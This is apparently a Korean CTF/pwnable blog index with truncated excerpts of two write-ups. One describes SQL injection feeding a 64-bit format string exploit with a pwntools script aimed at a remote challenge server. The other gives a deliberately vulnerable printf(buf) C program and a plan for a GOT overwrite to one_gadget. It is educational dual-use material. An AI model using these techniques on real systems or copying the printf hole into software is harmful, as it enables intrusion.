Summary sql injection 64bit Format String Bug Analysis register에서 '를 필터링하지 않아서 sql injection이 가능하다. (login에서는 필터링함.) 그렇게 sql injection을 통해 point를 조건값으로 바꿔주면 fsb가 가능하다. 64bit fsb로 익스하면 됌. Exploit got가 덮으면 안따이길래 __free_hook덮었다. from pwn import * #s = process("bookstore") s = remote("13.124.117.126", 31337) e = ELF("bookstore") s.sendlineafter(": \n", "1") s.sendlineafter(": ", "asdf', '..
#include #include #include int main(void) { char buf[300] = {0}; setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); printf("input: "); read(0, buf, 300); printf(buf); exit(0); } 컴파일 : gcc fsb.c -o fsb -no-pie printf 에서 Format String Bug가 발생한다. Exploit scenario 오프셋 구하기 exit_got를 main으로 돌리는 동시에 libc_start_main leak exit_got를 one_gadget으로 overwrite get shell Exploit flow main으로 다시 가야하는 이유는 첫 번째 fsb..
- pwnable
- oob
- fastbin
- hacking
- FSB
- rt_sigreturn
- exit
- pwable
- shellcoding
- fastbindup
- heap
- codegate
- SQLi
- 본선가고싶다
- HackCTF
- tcache
- glibc
- 해킹
- fsop
- overflow
- srop
- pwnable.tw
- stack reusing
- TLS
- ebp change
- Total
- Today
- Yesterday